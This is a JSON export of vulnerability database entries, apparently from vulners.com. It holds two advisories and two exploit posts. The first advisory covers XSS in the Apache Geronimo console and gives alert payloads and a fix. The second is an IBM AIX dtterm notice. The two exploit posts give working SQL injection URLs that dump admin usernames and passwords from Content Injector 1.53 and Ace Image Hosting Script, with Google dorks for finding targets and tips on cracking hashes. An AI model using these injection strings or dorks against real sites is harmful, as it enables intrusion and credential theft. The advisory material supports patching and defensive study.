{"securityvulns": [{"lastseen": "2018-08-31T11:10:30", "bulletinFamily": "software", "description": "\r\n\r\nOriginal advisory http://dsecrg.com/pages/vul/show.php?id=119\r\n\r\n\r\nDigital Security Research Group [DSecRG] Advisory #DSECRG-09-019\r\n\r\nApplication: Apache Geronimo Application Server\r\nVersions Affected: 2.1 - 2.1.3\r\nVendor URL: http://geronimo.apache.org/\r\nBug: Multiple XSS Vulnerabilities\r\nExploits: YES\r\nReported: 10.12.2008\r\nVendor response: 10.12.2008\r\nSolution: YES \r\nDate of Public Advisory: 16.04.2009\r\nCVE-number: 2009-0038\r\nAuthor: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)\r\n\r\n\r\n\r\nDescription\r\n***********\r\n\r\nGeronimo Server Console multiple XSS vulnerabilities.\r\n\r\nVarious linked and stored cross-site scripting (XSS) vulnerabilities were found in the Apache Geronimo administrative\r\nconsole and related utilities.\r\n\r\nThis affects all full JavaEE Geronimo releases or other distributions which include the administration web console up to\r\nand including Geronimo 2.1.3.\r\n\r\n\r\n\r\nDetails\r\n*******\r\n\r\nUsing this vulnerability attacker can steal administrator's cookie and then authentificate as administrator or perform\r\ncertain administrative actions.\r\n\r\n1. Linked XSS vulnerability.\r\n\r\nAttacker can inject XSS in URL string.\r\n\r\nExample:\r\n\r\nhttp://[server]/console/portal/"><script>alert('DSecRG XSS')</script><!--\r\n\r\n\r\n2. Multiple Stored XSS vulnerabilities found in script \r\n\r\n/console/portal/Server/Monitoring\r\n\r\nVulnerable parameters: "name", "ip", "username", "description".\r\n\r\nAttacker can inject scripts into monitorings.\r\n\r\nExample [Monitoring - Create View]:\r\n\r\nname = <script>alert('DSecRG XSS')</script>\r\ndescription = </textarea><script>alert("DSecRG XSS")</script>\r\n\r\nor\r\n\r\nhttp://[server]/console/portal//Server/Monitoring/__ac0x3monitoring0x2monitoring!126896788|0/__pm0x3monitoring0x2monitoring!126896788|0_edit?action=saveAddView&name="><script>alert("DSecRG\r\nXSS")</script>&description=</textarea><script>alert("DSecRG XSS")</script>\r\n\r\n\r\n\r\nSolution\r\n********\r\n\r\nThis s\r\n\r\necurity vulnerabilities fixed in Geronimo 2.1.4 release.\r\n\r\nNew version of Geronimo 2.1.4 can be downloaded from this location:\r\n\r\nhttp://geronimo.apache.org/downloads.html\r\n\r\nAn alternative workaround (if you choose to not upgrade to Apache Geronimo 2.1.4) would be to stop or undeploy the\r\nadministration web console application in the server.\r\n\r\nCredits\r\n*******\r\n\r\nhttp://geronimo.apache.org/21x-security-report.html#2.1.xSecurityReport-214\r\n\r\n\r\n\r\nAbout\r\n*****\r\n\r\nDigital Security is leading IT security company in Russia, providing information security consulting, audit and\r\npenetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS\r\nstandards. \r\nDigital Security Research Group focuses on web application and database security problems with vulnerability reports,\r\nadvisories and whitepapers posted regularly on our website.\r\n\r\nContact: research [at] dsecrg [dot] com\r\n http://www.dsecrg.com \r\n http://www.dsec.ru\r\n\r\n\r\nRegards,\r\nDigital Security Research Group [DSecRG]\r\n________________________________________\r\nDIGITAL SECURITY\r\ntel/fax: +7(812)703-1547\r\ntel: +7(812)430-9130\r\ne-mail: research@dsecrg.com\r\nweb: www.dsecrg.com\r\n----------------------------------------\r\nThis message and any attachment are confidential and may be privileged \r\nor otherwise protected from disclosure. If you are not the intended \r\nrecipient any use, distribution, copying or disclosure is strictly \r\nprohibited. If you have received this message in error, please notify \r\nthe sender immediately either by telephone or by e-mail and delete this \r\nmessage and any attachment from your system. Correspondence via e-mail \r\nis for information purposes only. Digital Security neither makes nor \r\naccepts legally binding statements by e-mail unless otherwise agreed. \r\n----------------------------------------", "modified": "2009-04-17T00:00:00", "published": "2009-04-17T00:00:00", "id": "SECURITYVULNS:DOC:21673", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:21673", "title": "[DSECRG-09-019] Apache Geronimo - XSS vulnerabilities.txt", "type": "securityvulns", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-08-31T11:10:19", "bulletinFamily": "software", "description": "TITLE:\r\nIBM AIX dtterm Privilege Escalation Vulnerability\r\n\r\nSECUNIA ADVISORY ID:\r\nSA21673\r\n\r\nVERIFY ADVISORY:\r\nhttp://secunia.com/advisories/21673/\r\n\r\nCRITICAL:\r\nLess critical\r\n\r\nIMPACT:\r\nPrivilege escalation\r\n\r\nWHERE:\r\nLocal system\r\n\r\nOPERATING SYSTEM:\r\nAIX 5.x\r\nhttp://secunia.com/product/213/\r\n\r\nDESCRIPTION:\r\nA vulnerability has been reported in IBM AIX, which can be exploited\r\nby malicious, local users to gain escalated privileges.\r\n\r\nThe vulnerability is caused due to an unspecified error in dtterm and\r\nallows execution of arbitrary code with root privileges.\r\n\r\nSOLUTION:\r\nApply APARs.\r\n\r\nAIX 5.3:\r\nApply APAR IY89052.\r\n\r\nAIX 5.2:\r\nApply APAR IY89045.\r\n\r\nPROVIDED AND/OR DISCOVERED BY:\r\nReported by the vendor.\r\n\r\nORIGINAL ADVISORY:\r\nIBM:\r\nhttp://www-1.ibm.com/support/docview.wss?uid=isg1IY89052\r\nhttp://www-1.ibm.com/support/docview.wss?uid=isg1IY89045\r\n\r\n----------------------------------------------------------------------\r\n\r\nAbout:\r\nThis Advisory was delivered by Secunia as a free service to help\r\neverybody keeping their systems up to date against the latest\r\nvulnerabilities.\r\n\r\nSubscribe:\r\nhttp://secunia.com/secunia_security_advisories/\r\n\r\nDefinitions: (Criticality, Where etc.)\r\nhttp://secunia.com/about_secunia_advisories/\r\n\r\n\r\nPlease Note:\r\nSecunia recommends that you verify all advisories you receive by\r\nclicking the link.\r\nSecunia NEVER sends attached files with advisories.\r\nSecunia does not advise people to install third party patches, only\r\nuse those supplied by the vendor.", "modified": "2006-08-31T00:00:00", "published": "2006-08-31T00:00:00", "id": "SECURITYVULNS:DOC:14108", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:14108", "title": "[SA21673] IBM AIX dtterm Privilege Escalation Vulnerability", "type": "securityvulns", "cvss": {"score": 0.0, "vector": "NONE"}}], "zdt": [{"lastseen": "2018-03-19T21:10:35", "bulletinFamily": "exploit", "description": "Exploit for unknown platform in category web applications", "modified": "2007-12-09T00:00:00", "published": "2007-12-09T00:00:00", "id": "1337DAY-ID-2346", "href": "https://0day.today/exploit/description/2346", "type": "zdt", "title": "Content Injector 1.53 (index.php) Remote SQL Injection Vulnerability", "sourceData": "====================================================================\r\nContent Injector 1.53 (index.php) Remote SQL Injection Vulnerability\r\n====================================================================\r\n\r\n\r\n\r\n--==+================================================================================+==--\r\n--==+ Content Injector V1.53 SQL Injection Vulnerbility +==--\r\n--==+================================================================================+==--\r\n\r\n\r\nAUTHOR: S.W.A.T.\r\n\r\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\nDownload: http://www.p3mbo.com/cinj153.zip\r\n\r\n-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\nDORK (google): \"Powered by Content Injector v1.53\"\r\nDork2(google): Powered by Content Injector v1.53\r\n\r\n-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\nDESCRIPTION:\r\nYou Can See Admin User & MD5 Password ..::.. Then You Can Crack It ;) \r\n\r\n-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\nEXPLOITS:\r\nwww.site.com/index.php?action=expand&id=99999/**/union/**/select/**/1,2,username,4,5,password,7,8,9/**/from/**/users/*\r\n\r\n-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\nNOTE/TIP:\r\nadmin login is at /admin/ It Is New Version With New Query & Different Between The Last One I Found\r\n\r\n-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\nAbout Me:\r\nMaybe I Give Bye To NET :( 1 month later :((\r\n\r\nI'm Suposed To Die These Days\r\n\r\n-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\nGREETZ: All Xmors Digital Security Team \r\n\r\n\r\n--==+================================================================================+==--\r\n--==+ Content Injector V1.53 SQL Injection Vulnerbility +==--\r\n--==+================================================================================+==--\r\n\r\n\r\n\n# 0day.today [2018-03-19] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/2346"}, {"lastseen": "2018-01-05T13:07:39", "bulletinFamily": "exploit", "description": "Exploit for unknown platform in category web applications", "modified": "2007-12-09T00:00:00", "published": "2007-12-09T00:00:00", "id": "1337DAY-ID-2347", "href": "https://0day.today/exploit/description/2347", "type": "zdt", "title": "Ace Image Hosting Script (id) Remote SQL Injection Vulnerability", "sourceData": "================================================================\r\nAce Image Hosting Script (id) Remote SQL Injection Vulnerability\r\n================================================================\r\n\r\n\r\n\r\n--==+================================================================================+==--\r\n--==+\t\t Ace Image Hosting Script SQL Injection Vulnerbility\t +==--\r\n--==+================================================================================+==--\r\n\r\n\r\n\r\nAUTHOR: t0pP8uZz & xprog\r\nSITE: N/A\r\nDORK: N/A\r\n\r\n\r\nDESCRIPTION: \r\npull user's info from the database\r\n\r\n\r\nEXPLOITS:\r\nwww.site.com/albums.php?mode=editalbum&id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(user,char(58),password),3/**/FROM/**/users/**/LIMIT/**/0,1/*\r\n\r\n\r\nNOTE/TIP:\r\nadmin login is at /admin/\r\npasswords are in plaintext\r\nyou MUST create a account and login before the injection will work\r\n\r\n\r\n\r\n--==+================================================================================+==--\r\n--==+\t\t Ace Image Hosting Script SQL Injection Vulnerbility\t +==--\r\n--==+================================================================================+==--\r\n\r\n\r\n\n# 0day.today [2018-01-05] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/2347"}]}
